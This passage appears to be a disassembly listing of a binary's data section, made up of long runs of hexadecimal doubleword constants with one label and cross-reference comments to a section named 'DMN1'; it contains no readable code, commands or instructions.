		dd 0E29133F9h, 78B8B705h, 93344B13h, 2AAC80C5h,	2D2C9A5h
		dd 8EDA7DF2h, 0B2CF8661h, 2A0F0D84h, 0A5C38F87h, 863D11A8h
		dd 0E20A61D3h, 9E62D80Fh, 0B6CDD348h, 79DBC11Ah, 85257E0Ah
		dd 3E12ED81h, 0A9118A94h, 83A046A1h, 679E1059h,	4CD5EC65h
		dd 0A2B1825Fh, 0A4416DA6h, 0CC10DA1Eh, 43E416F8h, 3D4E55F4h
		dd 0AE044975h, 38AE6B5h, 0EA7A0414h, 8375894Bh,	93AAF49Eh
		dd 3CCEE212h, 8E32F4D7h, 48E3E8D1h, 5DF186DEh, 6195F99Ch
		dd 6D2907E5h, 0A185B64Ah, 4290FEE0h, 67C66C10h,	0B684F816h
		dd 20F7FF23h, 5DBEC7FBh, 271B5D4Ch, 3668721Bh, 0A1956194h
		dd 6D12DB75h, 0C13119E0h, 870A8805h, 9BF55801h,	191CED6Eh
		dd 0DED79876h, 643B4866h, 32732DC0h, 4979A679h,	1FA396h
		dd 58D667Eh, 65F40129h,	83D75544h, 0F1B095CFh, 1207245Ch
		dd 0DE46F67Ch, 73107901h, 3F37305Eh, 0C73FA91Ah, 7A4D14A5h
		dd 0A325C005h, 3F05798Eh, 635D332Ch, 0B702C3A0h, 8F2A68F1h
		dd 71E0FD34h, 0F1B34B00h, 0A04C348Fh, 0FA6CAACh, 50C112E6h
		dd 0EAE8169Dh, 4108D584h, 0A18631D5h, 89972EB3h, 4A7C32D8h
		dd 8B63981Dh, 0A3C57458h, 0E4FF5560h, 0E57EE2Dh, 0D8F1E655h
		dd 9189E745h, 79D5169Eh, 1CA416E3h, 5B584827h, 0AF05896Ch
		dd 1B958514h, 1A0586F9h, 0FDFD24C1h, 44AF4F22h,	6105838Fh
		dd 353E115h, 464A6477h,	0D2956DDCh, 0D2D695E9h,	48995166h
		dd 297A0A3Fh, 8DA5E6DAh, 0EA39A747h, 0EB713892h, 8873C89Ch
		dd 64A8F473h, 0AD35FBC6h, 0C92DFCA4h, 7F8CE27Eh, 9090E67Ah
		dd 955D5286h, 7F244EBh,	0EB3A145h, 6D00076h, 0C55E597Ch
		dd 363638FCh, 6713DEB6h, 0B8BB8C91h, 0E0D27BC8h, 0D81863A0h
		dd 9759927Ah, 604E51A7h, 508B6DCFh, 0C2BD2456h,	5C3DDE50h
		dd 0A33E20E6h, 361C65Dh, 0C1683F4Dh, 0D27698BBh, 0CDE6E5Eh
		dd 396DF680h, 98CFC13Bh, 88395E5Fh, 0F8D23B93h,	424E818Eh
		dd 984A4D84h, 0F4358B37h, 0C06D055h, 34551C7h, 8E9E0871h
		dd 3E6C5596h, 466CA403h, 785B7E4Ah, 0BF06942h, 5911D811h
		dd 4CD62551h, 2FE5AA9Fh, 19433AC1h, 7632FD5Fh, 0A49C3EAEh
		dd 4CA20E9Dh, 48EF0E89h, 0D34068A6h, 4D328A28h,	1042B6ACh
		dd 96B6F568h, 8AFB5C4Ch, 128F0B61h, 0D5164257h,	0E6DB75A1h
		dd 1668A1A2h, 0A7F3C804h, 4E0A7663h, 4C5DC818h,	0C1490890h
		dd 0B26B6443h, 6335EC2Dh, 0F1F338D5h, 8EFFAC21h, 9990DDF7h
		dd 0DE3DA229h, 0C868114Fh, 130E2514h, 903D770Ah, 49E29C6Eh
		dd 14918E01h, 5828BA6Ah, 0FD9DE579h, 0B2211F99h, 74F4E90h
		dd 0C8461C46h, 447ACE29h, 8A7EE8C8h, 0D7A15AD7h, 64C29D2Ch
		dd 8F1AC608h, 6D6B7DCEh, 4D3324A1h, 0A954E16Bh,	33B2DF04h
		dd 0A85AB5CFh, 316A80CAh, 367357E8h, 0F32324EEh, 90A9A903h
		dd 9CA3902Dh, 0CF30D95Fh, 0F82C476Ah, 0D070F04h, 1A5E58E9h
		dd 73B7887Eh, 4A661CC0h, 5CB29ECAh, 817A3B77h, 0B8D186CFh
		dd 0E0923114h, 0A60065h, 71179A16h, 0F6D7602Eh,	76632A6h
		dd 60A1DC6Ch, 40FD652Ah, 0FEBD4D5Dh, 0F4CA6F61h, 2FD59B95h
		dd 1D24166Bh, 0C313F82Fh, 6D2C8842h, 164CE6ACh,	819A2018h
		dd 0F6F99EB7h, 6F0107A5h, 0C09DF5C0h, 0E6387DBEh, 0E2DC9F37h
		dd 9D192FA8h, 0D82E1290h, 4907351Ah, 9A8505B5h,	4D949BC8h
		dd 0AD11B51h, 70F3446Bh, 1CFDB0D8h, 0E6ABC6E0h,	0E976215Ch
		dd 3FA8B113h, 90743044h, 0FEE49A90h, 1418D9FEh,	0ECA5A9F3h
		dd 0B82A5F96h, 0E255A205h, 445C8E82h, 6C7EC72Dh, 52FFEE70h
		dd 0AAB52D7Fh, 62EABD41h, 4F1B5966h, 650C3701h,	83075544h
		dd 17C682CFh, 4123C94Bh, 2D4E5194h, 0EF486575h,	83466255h
		dd 0C53C7C14h, 0C526D61Dh, 86DE67FDh, 63141D13h, 74AB1F3Bh
		dd 4439B464h, 5A3AE0F8h, 0AB035AB2h, 0A136E68Ch, 0A61B74C2h
		dd 7B09473h, 0D115E5DDh, 1F9AD382h, 0B0FEF0B3h,	7EEECEF3h
		dd 0A630C27h, 9C46626h
		dd 6CC90B51h, 35E10AFDh, 5D6A10F8h, 0B3036045h,	0AE7F99AEh
		dd 9BCA6DB8h, 0C3CCA39Eh, 5D2395FBh, 0F240C9CCh, 35D60928h
		dd 6DBE7136h, 0ECA9F37Ch, 30852121h, 0F3A05B65h, 3C6CC253h
		dd 65153055h, 3155D7E0h, 9E903DAh, 6C5E31CBh, 72876D1Ah
		dd 9B348CCh, 818E4CEh, 0C3C3262Eh, 0B68128D0h, 0DA190C5Ch
		dd 67844368h, 0D23D55B6h, 9273ABF4h, 26D6CBA5h,	13B2EF27h
		dd 19185A09h, 93A39F0Fh, 0D55FECEh, 51D90E66h, 7DD19EEFh
		dd 0F1B61C92h, 0D1FC5409h, 0B5855927h, 956B8A27h, 5B1A26DFh
		dd 391AE3FDh, 4CEC454Ah, 0ACE7C30h, 30642520h, 297651B9h
		dd 83DF2D83h, 805CB9E8h, 0B3D60D0Fh, 351377A1h,	0C6DC63Fh
		dd 73925FCh, 8CA78DD0h,	443679B7h, 36747E84h, 4E3165B1h
		dd 0FC3B498Dh, 0CBCB3182h, 0FA54C5h, 34546A11h,	7217B580h
		dd 48CB851Fh, 88349473h, 8D309CCAh, 0CDC467D8h,	40BB03DAh
		dd 0EAE67AB7h, 0B1A5D612h, 3384A47Eh, 7D708F7h,	0C430BAFh
		dd 0CA2E9091h, 54AB02AAh, 0F32587A8h, 936788EBh, 39B8D053h
		dd 19D58F02h, 0EAE8A2C8h, 0E69AB6E2h, 0B727F52Bh, 0C5D85D2h
		dd 2AF6D176h, 3E48B3D4h, 501A9E1Fh, 5DCC181Eh, 399E6E81h
		dd 331222ABh, 0E5C14851h, 230C2925h, 0DF0EE4A5h, 0B1BC4A2Ah
		dd 9DED9A13h, 9AEE42Dh,	0A963736Ch, 11577817h, 5A9BD350h
		dd 0D7D5A647h, 84DDE64Ch, 0A90922E4h, 0A05CD9F9h, 13788E1h
		dd 965CEBBDh, 0F11C2F28h, 0F79FAD0Eh, 8E93A44Bh, 7EF47578h
		dd 0AD2339F5h, 5CEB75BAh, 376D245Fh, 0E48BC250h, 1DA3A9ABh
		dd 2C935F58h, 26A53FB7h, 0C584F1F9h, 0F35DED8h,	66ECAD53h
		dd 63434F2Ch, 0AB0CA5A0h, 864DF5F2h, 4C1E780Ch,	5A35D078h
		dd 734CE543h, 0B06BE2Ch, 0A241CEB9h, 3FFBD6D4h,	0A753DB38h
		dd 469D7966h, 0CE2D2DF4h, 1814A483h, 88B2030Fh,	73E48EBh
		dd 8F15DE10h, 4B096B06h, 0D5B96E31h, 0F03AAD78h, 0B72F0AE3h
		dd 43E7E68Bh, 34648DABh, 70120928h, 0F777E950h,	0A2AD23BFh
		dd 5369696Fh, 0F7B60515h, 3D987516h, 71F6278Fh,	484228D7h
		dd 0D339A30Ch, 42064DD0h, 0A7D04991h, 2148AB4Bh, 0A69DC22Fh
		dd 0EE758FBAh, 766B7267h, 0BD769687h, 99237042h, 4435CD82h
		dd 0BCFF6158h, 0BE5BA68Ch, 19012995h, 7314F8CBh, 0B4DC3B12h
		dd 0AE8C5DB8h, 351AED22h, 2154D8A7h, 17B84801h,	4301DE65h
		dd 0A3B3593Ch, 3B2BC48h, 2D5AE3AFh, 309861FCh, 0FB35B090h
		dd 0EC50233Fh, 0E01D8DF0h, 3FBEDEB0h, 0B0B6D216h, 0ACDCE0F4h
		dd 0C72544CAh, 0B292D7F0h, 0C0D9ABFAh, 5D004FE8h, 63B2D54Dh
		dd 0FF472C1Ch, 41A0295Fh, 0A0CE375h, 28D741A9h,	0AEB95884h
		dd 59BEA2DFh, 8F2FD1h, 9D263FA3h, 0A71DC874h, 5269B903h
		dd 0A9E0FC12h, 8A0159CDh, 98885ADh, 0E5E0B9E0h,	81134BE8h
		dd 77096E76h, 5B96E39h,	85281862h, 712E26E8h, 6562FD39h
		dd 7CF17A57h, 6371AE6Dh, 1727C360h, 7F325428h, 8CA8EA71h
		dd 0F6EA4CE8h, 0E53281CFh, 0E8D8BFC6h, 9AF9B5AEh, 0DB1A3413h
		dd 511A75E4h, 93A89A1Dh, 294992D0h, 5DBFD72Fh, 0BC34FE51h
		dd 0CED867Ah, 1B42FBE3h, 0C008151Bh, 41E8A9DAh,	0D10840D3h
		dd 0A100D451h, 0E2DC6C70h, 12083692h, 2FE1F742h, 1FECB281h
		dd 0D6D06FD7h, 5554E885h, 0ADD739B4h, 0E507DE9Bh, 2FB64DCBh
		dd 98008C3Eh, 0F18E8163h, 0EFDA5047h, 9BD31DA2h, 3755F6F5h
		dd 4F929C2Ah, 0B86598Fh, 411EABEEh, 0E0517B82h,	30B49B0Dh
		dd 4E413881h, 0E8E4388Fh, 6E9BC113h, 8CEAFE4Fh,	0EDD86AA0h
		dd 0F8C83893h, 8EB7DC8Eh, 0FAEF8A4Dh, 15C04401h, 84BDD7F7h
		dd 0D76255CBh, 9D263FEAh, 48088368h, 7FDAB8CDh,	785B2559h
		dd 30A388D1h, 286D76A7h, 0E6254877h, 0C49EDC18h, 47DD3CD3h
		dd 0D55491DFh, 5C413ACEh, 50DFD814h, 630FE9C9h,	0E180F199h
		dd 0B024757Ah
dword_455000	dd 73A68AB8h, 82FAF383h, 6C95A1CEh, 5DBCF3E8h, 93A5D78Fh
					; DATA XREF: DMN1:00441C00o
					; DMN1:004520D8o
		dd 0C4427F80h, 0A7DA442Bh, 1D5FFAAh, 34CE3D17h,	5CE06D91h
		dd 2FD01CD3h, 49EB6FF4h, 147359FDh, 378180EDh, 0D304E9D0h
		dd 7223DC3Eh, 437DB157h, 25AFF1C9h, 1DCEBA54h, 6E12F30Ah
		dd 7118B8C1h, 0C4FAD23Ah, 0E7BFA22Ch, 64A6660Eh, 0D0296162h
		dd 0D9AF59ADh, 1686BB15h, 0DC0F8132h, 50D310F3h, 0A87A534h
		dd 0B089DA1Eh, 32B93890h, 300B0836h, 396127D6h,	43D02F0Ch
		dd 54A75501h, 74A7251Eh, 17C87659h, 0DA88493Bh,	0ED50ED8h
		dd 6FE9D253h, 9C2CBECBh, 451855A0h, 12FA330Eh, 517187D1h
		dd 0B4DD9408h, 0F5524FDh, 1A135D31h, 4C05D442h,	9DEBC268h
		dd 0B7C5D892h, 0E4815C94h, 682D34CDh, 0C4B855Bh, 0A4BD95D9h
		dd 0A3E5CEBFh, 6D9DAF1Ch, 0E2D09942h, 0A4E702h,	8BDA6DA0h
		dd 42AE95B9h, 1F5BE810h, 8C1A8ED1h, 98BE75DBh, 79DCD922h
		dd 0F9C58E84h, 0AA67EC1Ah, 711FF49Ch, 3722CC3Ch, 16C7EDD6h
		dd 6D746712h, 0A14FBD47h, 6B05FE62h, 0B62FCBF2h, 417A4CC0h
		dd 5DBF734Fh, 14C93423h, 1B5B006Dh, 0DB766123h,	7C3C53C2h
		dd 9BA91ADBh, 36D377CDh, 496323A7h, 0CB57501Bh,	629D2EC9h
		dd 0D40A35FBh, 7A23234Bh, 69099BDBh, 0D05C7B3Ch, 203B4F4Ah
		dd 2ED6435Dh, 6C73595Ch, 0F89FA385h, 434B6660h,	0EDF0A4AFh
		dd 81E339F9h, 58E279A1h, 2F0756A0h, 27212D6Bh, 80A52094h
		dd 6D5AC58Fh, 0C262FCC0h, 0C13E07E5h, 4C709377h, 97B94CF8h
		dd 1107C6C4h, 4586C5DAh, 757B6A84h, 29687A93h, 21ACD40Fh
		dd 0FBA4DAAh, 32B429Bh,	1E630ADh, 879EAA6Ch, 0E434B408h
		dd 4975DE05h, 78A3880Fh, 245307E7h, 0A4FB6C19h,	3AF5CE07h
		dd 38674072h, 712873D2h, 0FADB085Ah, 2A06D0Ah, 0F3BFAC27h
		dd 0A674161Fh, 378BFA90h, 0A4388A27h, 900C71AFh, 5E36707Eh
		dd 0C8FC648Dh, 37E01B61h, 0A73A8AD4h, 0BEDC293Ah, 9515BF71h
		dd 1082DFA8h, 535A097Eh, 0B694041Ah, 2D5517AAh,	4CB75ACCh
		dd 15B4D8BEh, 0E6E880EDh, 0CB781ED0h, 5BD02972h, 346B55Dh
		dd 0D92DB8A0h, 0E5842869h, 0F867365Eh, 7318C2B3h, 44EAAD04h
		dd 5886A749h, 0F1A5F0F1h, 4D9A10BEh, 0BA2339C4h, 0DE27EF4Fh
		dd 0F1F62FD9h, 5B2BC60h, 48182C54h, 0BD29DA1Bh,	7BE33907h
		dd 0ABB02311h, 0EDD18DF3h, 9997BA6Ah, 973730FEh, 715BA663h
		dd 0D9318049h, 0B790DC04h, 8510664Bh, 256C03Fh,	0F416DCC4h
		dd 0BA733C40h, 9304C228h, 0C86B7B8Dh, 0D559D14Bh, 0B4CFB799h
		dd 8689F120h, 1881EFC0h, 0EB71D383h, 486E5EC9h,	0B9917995h
		dd 0CA5CAA1Ch, 2E529188h, 85FE9425h, 98BB90C3h,	34307992h
		dd 0F87657BBh, 0E8B1FA19h, 1BA26D0Eh, 0A12A5C76h, 0E1D88AF8h
		dd 72A487C2h, 61A6FFFFh, 5C4149A8h, 76583294h, 348C6120h
		dd 3AEE1409h, 389F59D4h, 0FE9FC842h, 9577B0AEh,	0D0EDF023h
		dd 0CDDF77ABh, 0E2170C6Eh, 0A25D09E4h, 0C4D58DE3h, 8C4C5BACh
		dd 0A4EB002Ch, 27E0B7E3h, 6406DADBh, 16451A4Ch,	0F9A7368h
		dd 26DFC52Fh, 0C2B2CD19h, 124FFFB9h, 417CC94Dh,	4FA02C3Ch
		dd 20008CF2h, 3905998Eh, 0C44EB2C5h, 0CC42E525h, 6D79FFBBh
		dd 0EE45E602h, 9DCD5946h, 64342427h, 6D0339FFh,	7FCFD9DCh
		dd 0C65258B0h, 8F23D6E0h, 0DE022815h, 0A12AE632h, 1BFA7F78h
		dd 63AD35A3h, 7A66204Bh, 9775465Fh, 9CD2C6D1h, 6AB0A74Fh
		dd 540F347Ch, 0BE954F99h, 612A8FF2h, 307513BCh,	67CDEB64h
		dd 4C0A7B1Fh, 622ACD97h, 9B5009F3h, 466DEF93h, 0D5F3220h
		dd 0A25291C7h, 55FE94A3h, 6235BD88h, 783D74B0h,	3565EF98h
		dd 8EB570C6h, 5A9C3E68h, 42C0431Ah, 33405361h, 0B007303Ah
		dd 34D50924h, 0E87C7130h, 5F48707Dh, 0D2A909B5h, 4E181B61h
		dd 0D35262DCh, 0B7440B29h, 0B6B854AEh, 9B9B4822h, 3B28FC75h
		dd 0B50E6E1Ah, 2D402B44h, 0B8C0BB98h, 600AB645h, 87D4FA11h
		dd 0AF585ED8h, 70A39BCEh, 2947295Dh, 91C7312h, 0E5891A85h
		dd 1A54CC52h, 5FD89BD1h, 40F64E44h, 5BDDD387h, 6D5D105Eh
		dd 7E82ECC1h, 34FB7856h, 0BA399075h, 443097B0h,	1296FAB9h
		dd 4BE52573h, 644D0439h, 0B2117012h, 0C88C72C9h, 0CD2EDF2Dh
		dd 0A421B455h, 9C8097F1h, 92D7AAB5h, 22F5FE79h,	0B4425B71h
		dd 85D0C78Bh, 1459660Bh, 0E21F92C0h, 45874E87h,	3605447Ah
		dd 43616DB1h, 2BED558Dh, 8484D501h, 7AC01DC0h, 5C3EE953h
		dd 0A226D082h, 0B739A95Eh, 792860ACh, 0BB378D4Ah, 4BCE6FC0h
		dd 8B599B0Ch, 55B227AAh, 0BA002A31h, 4F8FC0A8h,	0A93C48FDh
		dd 3A23D90h, 0B13A539Eh, 67A42D3Dh, 5C2BCA50h, 1300E022h
		dd 9AA45E54h, 3B63707Fh, 0B7355CF6h, 3BA1F49Eh,	32A36F57h
		dd 0EFBDC955h, 0AD82B052h, 5A6AD9BEh, 0FB4F6C9Ch, 804B014Ah
		dd 9E200DC0h, 0B2E9D773h, 81A703DBh, 70EA8D7Ch,	1BF2EC58h
		dd 0EEAB796Eh, 0FB0E25C5h, 0F8749A17h, 0E4F78668h, 25585AB0h
		dd 0DC95FC43h, 0ECA69BDFh, 17D5479Ch, 0BAFDE167h, 0C80C66D6h
		dd 0F03B76B2h, 65176F67h, 630B024Ah, 5EFEA85Ch,	1E1EA529h
		dd 0D92460D6h, 0F4AE8197h, 0D77C8611h, 80A724FEh, 1406E77Dh
		dd 0E392A301h, 6EE47C30h, 0E754C059h, 0D86E1C10h, 35620A77h
		dd 69B7F7EAh, 21431DC4h, 4571F6B7h, 7A15F84h, 0A9577D71h
		dd 5E66B9C6h, 44785A1Bh, 0F0C9D8Ch, 0E87EB9B6h,	8AAAD3F0h
		dd 48C723B9h, 3061EDEDh, 0CD263F3Eh, 3BB84F85h,	41717510h
		dd 0FABC3C8Eh, 0F49DB072h, 837F5871h, 28CF1F0Bh, 0C452E91Fh
		dd 5655AC47h, 0D99B160Bh, 75F8F558h, 44C5FFC2h,	93410A1Fh
		dd 8C998F9Eh, 85056D89h, 5840F4DAh, 40C83DDAh, 88CA315Bh
		dd 64D6614Fh, 6C808847h, 0FD6EE99Ch, 0D18D60Ah,	0D1BE32C1h
		dd 331516D1h, 0B3923146h, 1BA61FEDh, 2481889Dh,	72902622h
		dd 16BBECEFh, 0C9CF21B8h, 51F10834h, 9269C41Eh,	9041DBA7h
		dd 0BB0E5AEBh, 5214DB8Ch, 852C9F78h, 0D7B4D783h, 19C417AFh
		dd 468C5C28h, 4AA958F8h, 63C11387h, 2F5E4454h, 4A0850A9h
		dd 2F33074Dh, 4C0224EEh, 53A92032h, 1A401217h, 30A9A5C6h
		dd 32DB46F4h, 0BA8D0AB6h, 0D4F0B4EDh, 48E05CD1h, 953B92EBh
		dd 5EF73F3Bh, 0CF2AE4B4h, 0EBEE81C7h, 0CC18928Eh, 5EC099C8h
		dd 0ECD143F7h, 56F2A4BAh, 4C5DACDFh, 0E92FBF61h, 0E96730FAh
		dd 0E481BC73h, 682AE49Bh, 8E675559h, 0B25371B4h, 0D5B6C58Dh
		dd 46D126ADh, 778F3597h, 8E103CEh, 40CAB316h, 67D2D615h
		dd 9C74E9C4h, 8DE734E7h, 30714EBAh, 7D7E4EEDh, 3F0A208Fh
		dd 0D94E6170h, 5FE68EEBh, 7DBDF52Ah, 0E70634DEh, 0BFDF42D8h
		dd 0E728EFA8h, 0C7BCE1D9h, 0C01ADD6Fh, 0F087D9D4h, 0C89353A4h
		dd 15823156h, 0CAD38AC2h, 1E01681Ch, 646BFE43h,	0E9651BACh
		dd 8C991D27h, 907B66B0h, 86220138h, 99C6A62Eh, 0FC707F6Eh
		dd 972BAD84h, 2160A4BAh, 48981965h, 37C3CBDAh, 0F9534BE8h
		dd 0A51F5FC3h, 0BFFEA898h, 6F9EA5C9h, 0EB6B2A77h, 583C69FAh
		dd 148015BDh, 6B32CBAFh, 0D172D2ABh, 2AC02C39h,	0BD42C6E0h
		dd 65F03A8Eh, 2F0AA57Ch, 0F6E24C88h, 6BE706EBh,	0CBEEF5C4h
		dd 0D245D04Fh, 0F86EB993h, 4DF5DE8Eh, 0AFFD6188h, 1B0AA395h
		dd 3EAD595Bh, 5D79CD56h, 0E798B91Fh, 48C0AABBh,	8584BDFAh
		dd 84FAA199h, 0BBB8B5C4h, 146B6878h, 0C31A386Ah, 0F6BAC6A9h
		dd 39B76h, 1AF42404h, 799D622Dh, 6755B8F1h, 6D242772h
		dd 85C70FCBh, 7ACA6262h
		dd 0E8804991h, 0FF7073h, 0BE2617A4h, 0E5DA529Dh, 8821E22Dh
		dd 0BD9DF4D6h, 53C840DFh, 0D1DCFFBAh, 7A67F558h, 0C1A258E6h
		dd 60CE64F3h, 14C1FF4Fh, 34617C27h, 0C17ECEDh, 0A4867023h
		dd 77C9D6B1h, 0E94AEED6h, 362F933Fh, 1A5B9A29h,	6A222145h
		dd 0F5D88A56h, 7615A2h,	1B91DF16h, 1EA519A5h, 84CC0D6h
		dd 8C373AAAh, 0E6036973h, 19C8FD6Eh, 0CC527B07h, 2722D847h
		dd 0A303325Bh, 0CFFCD116h, 83C2824Ch, 5534AF44h, 52C18B6Ch
		dd 0AEB8514h, 2556D10Ah, 173FEF49h, 0EF9EF400h,	0A1C28388h
		dd 4B22BF8Ah, 5F5D013Ah, 0F0AA142Ah, 0E39B6383h, 1678CD8Eh
		dd 5E6AF465h, 30001AFDh, 527DC2AFh, 1F0FC91Eh, 0A2903B9Dh
		dd 97030133h, 0B8868051h, 9A05B9Dh, 32432562h, 0FD1B95B5h
		dd 2EF5326Bh, 0E56799B6h, 4B83DA84h, 0A2B02F61h, 58C4875Ah
		dd 83EAD7DBh, 0E8942A53h, 0E39E32FDh, 324EDCD3h, 7981A629h
		dd 3A927C07h, 0E9526191h, 40903CD9h, 0E4E9CE56h, 2426B628h
		dd 90A042D8h, 53C0D5C6h, 0E808D6C5h, 0ED1C26F3h, 250D75F1h
		dd 0A49529F3h, 0DADBE651h, 0AD6D4352h, 8766F1C7h, 7EC34858h
		dd 16ACB381h, 0F57EF8C8h, 0B3D6B198h, 72D2786Fh, 71E68D27h
		dd 0E2F5E2BEh, 87DC3789h, 8A3F6237h, 0C93A8818h, 0F051471Eh
		dd 0F58EB47Bh, 270F4021h, 0C6D31076h, 0D29DA5D4h, 5ADB4332h
		dd 0DA1CDE36h, 7D0B7DBFh, 0C1D2DB70h, 0D57EE34Eh, 8D42A574h
		dd 0B8AAC6F5h, 92D03F4Eh, 0D71ACD65h, 181A1AEEh, 522FCDE4h
		dd 60A00E40h, 859A9FA0h, 6C55A07Bh, 0A9137873h,	0A078B16Eh
		dd 0BD63ECBh, 0AA7B419Bh, 0A3F0C72Eh, 0BE917C2Fh, 0B6C005ACh
		dd 0D16C94A6h, 1DA31CB4h, 4E76C9AAh, 0F46B64E5h, 0D91A2472h
		dd 33E3A18Eh, 9C7F8461h, 0DADB1B64h, 0E832E951h, 3FFAACC6h
		dd 0A5642762h, 9EFACE64h, 8A6C2E25h, 0B20C5E72h, 8FAF7075h
		dd 212385CAh, 0B454829Ch, 3D667532h, 0ECF68BC6h, 0FFAFA8C0h
		dd 51C0D8D2h, 230AD963h, 4860C52Bh, 0AAAEC838h,	4D7EBA29h
		dd 0EB4FA2C6h, 0C5ABDB02h, 33D7005Ch, 9B481D86h, 0F1CB90EEh
		dd 0C9386E4Fh, 507AF194h, 6DA86442h, 19C430EBh,	7284728Ch
		dd 0FE8D4E3Ah, 0F1846422h, 72096F49h, 0F6624859h, 16963880h
		dd 0D50F58E2h, 0F5C6F8ACh, 165E78A8h, 3CC4A0BDh, 0C9A3C629h
		dd 0D06B4CBCh, 0BBBB1B2Fh, 0EE04571Bh, 0A23DDF03h, 0E5238999h
		dd 4F09BF78h, 27E2DCFCh, 3781F3Dh, 4A3F42FCh, 0B832E6C5h
		dd 0DCDA1C69h, 8B206722h, 0BEE713F4h, 0A618C072h, 982AB392h
		dd 0FFA4DFBh, 0A7F4BB4Dh, 8A4BC5D8h, 0B73F8A1Ah, 0AA1174A5h
		dd 765B74D7h, 66165E9Ch, 0CEED9BEh, 360C1D9Ch, 1C662D89h
		dd 2F7B8735h, 84067670h, 8C227C9Ah, 6F2A532Ch, 0C9A19B22h
		dd 3D98F10Eh, 69C50FC4h, 9091499Fh, 93F21874h, 1BCB614Fh
		dd 0FEE1E094h, 0BF3D8185h, 714CCB2Dh, 707807CFh, 0D5F45557h
		dd 0C8979B0h, 87DCC11Ah, 5A61B9E7h, 0AE22FCA9h,	0E85DA755h
		dd 0F03FA69Dh, 5F19081Ch, 64B9FE23h, 3957FF09h,	9190EF8h
		dd 0E586BB59h, 0EED5F42Ch, 5FE6ADBDh, 0EF029764h, 0B8D4BDCBh
		dd 9EA2EA87h, 0ECD7EEAAh, 98D3585Fh, 3503B526h,	8290CF1Dh
		dd 3C9BE8E6h, 8614E43h,	3992CD5Eh, 845AC625h, 0C5C6BD3Bh
		dd 0EC166E54h, 63222D6Fh, 42042020h, 0F53F0C3Dh, 1618E610h
		dd 0B4EBBCFBh, 0F287AFA6h, 7C2B678Eh, 700D153Ah, 7BE47DFFh
		dd 0C58D1D22h, 598504F4h, 5B9457F2h, 0F54E573Dh, 0E7ECB5F8h
		dd 5C0D0A51h, 8EF2E3A6h, 0F43E7AB1h, 79E8D7B8h,	379FE531h
		dd 0F5C65C0Ah, 2FEA81EBh, 0D9A6DE79h, 4FA6A686h, 80A04683h
		dd 993493FAh, 0D43593BDh, 0C54D9FFCh, 3CF5FD94h, 91A0C204h
		dd 51200FAh, 363C4944h,	40118F80h, 9ECC62FCh, 12B0F1Bh
		dd 22376FACh, 564E131Ah, 814B95E1h, 0B5D0B7D2h,	0B70C8963h
		dd 0EB61ED22h, 3C544B45h, 0B743F15Bh, 36DAA051h, 1BDA22C9h
		dd 0DB563C53h, 0EF8D5C62h, 7041174Bh, 2EF30B27h, 0E5898F53h
		dd 75A1DABFh, 7148DDBAh, 0D4F5D133h, 67E1E8C3h,	0DC002D32h
		dd 0C7BB53D0h, 71B611A0h, 91FC4E11h, 0AA7528D4h, 0EA690861h
		dd 829CF6Ch, 0C2B8A679h, 3AD7BC97h, 123E8227h, 2211CCCDh
		dd 6BB72915h, 8ACC83D8h, 0B109513Ch, 0DBA8FF5Ah, 0E98608h
		dd 1BF32BB4h, 0D523CA0Dh, 0EE220901h, 7AD17B7h,	0EDBD1E84h
		dd 0A107A8F4h, 0CC206472h, 30D75413h, 0E1214923h, 0A2FDDD4Bh
		dd 637FD42Eh, 32713B77h, 46B11308h, 6A449423h, 64D7CE97h
		dd 0B3E2B12Bh, 9C0C2119h, 4501BB75h, 61D91D7Fh,	0ABD15F05h
		dd 0AE4E71E5h, 0B4114C2Dh, 445BF8CBh, 62CC002Fh, 69610D6Ah
		dd 7CB84ACBh, 7C5598BEh, 4142AC19h, 3E140B76h, 0D850DA86h
		dd 0A7875C3Ah, 711048C1h, 934CF5A2h, 0EA629E2Dh, 8B1EB848h
		dd 151E4A17h, 903EF555h, 5DAB3E6Dh, 9392269Dh, 473AD5CFh
		dd 3EA2B1E4h, 70A0E886h, 8F4AF19Eh, 780E39B1h, 0AD7D4BE6h
		dd 60F0CAC1h, 7AEC3008h, 0F8B65E9Ah, 0A0D4AACFh, 492697ABh
		dd 0B00CC410h, 8FFEF7Bh, 0C1ECEEC4h, 5DE4C723h,	33F78CEBh
		dd 4B9CA1E8h, 0DDC8F7E6h, 560414ACh, 2B16B871h,	5463AE53h
		dd 0EB522C4Ch, 153ABB8Bh, 6F722D5Fh, 9B0A942Dh,	296742D8h
		dd 69350B30h, 165D2223h, 0C17CAEE9h, 532F569Dh,	89985186h
		dd 0A79212BCh, 787B31EDh, 342F480Bh, 819CF42Ah,	5384FB0Ch
		dd 0BBC03BB1h, 0D55A28D3h, 0A84C0430h, 0A97106EFh, 4C895DF9h
		dd 2AC1E356h, 82545869h, 85736D05h, 0FE51CBF3h,	26B0512Eh
		dd 8CAFFDE0h, 314E92F4h, 9DCC86FCh, 0C8382502h,	393193C0h
		dd 3E544B15h, 0E18DED00h, 0A671FBEEh, 9DE849F8h, 2D7913F2h
		dd 5060FC32h, 760AE95Ah, 0C2A0E164h, 0BAE410DDh, 0AED50C27h
		dd 0FA8A4A89h, 0C117D819h, 0A62CD58Eh, 0DC695CB2h, 0F8B286DFh
		dd 0D91BE98Fh, 19D10C69h, 0F562A0D5h, 0E66D9F99h, 0C5E3019Bh
		dd 5AF0BA4Ah, 1C88292Ch, 7C624F66h, 0A1933B5Fh,	91E3BA5Eh
		dd 0AC4427C3h, 0C39482C6h, 295F5A16h, 0BF832B03h, 987B2CBCh
		dd 58C47ADEh, 130BA710h, 22ABF2CBh, 0EB48C42Eh,	35D688D9h
		dd 6E6A412h, 2975E8C5h,	589F9C2Eh, 3C995A67h, 7ADDFCAEh
		dd 93563D5Ah, 8124BC84h, 89D64E3Ah, 0BE71CC89h,	36310241h
		dd 3815BC1h, 696F4B18h,	1C87C24Ch, 0BEFBB100h, 23FF4444h
		dd 4EF0CF56h, 252559CBh, 8C9EC100h, 2AA2079Bh, 26ACB849h
		dd 0E426BC00h, 7FE9BE89h, 0D3C0A7E9h, 77EFA46Dh, 0E659BB16h
		dd 41A56662h, 0C4D6E89h, 6D3481F9h, 6A422818h, 7E65E4Ch
		dd 88B96A0Dh, 5ECAEB7Dh, 8C06498Ch, 0A9F28AA0h,	0DFBC0F29h
		dd 0F5F0E83Ah, 42C39DB6h, 0C1AB58EFh, 885CFAh, 0AA1F029Dh
		dd 0B66E0B54h, 93E65B1Dh, 2C36D0DEh, 6E7E72F3h,	54957580h
		dd 1F3F562Fh, 65C16BFAh, 12E03CEBh, 0C2DB13E2h,	140D72DEh
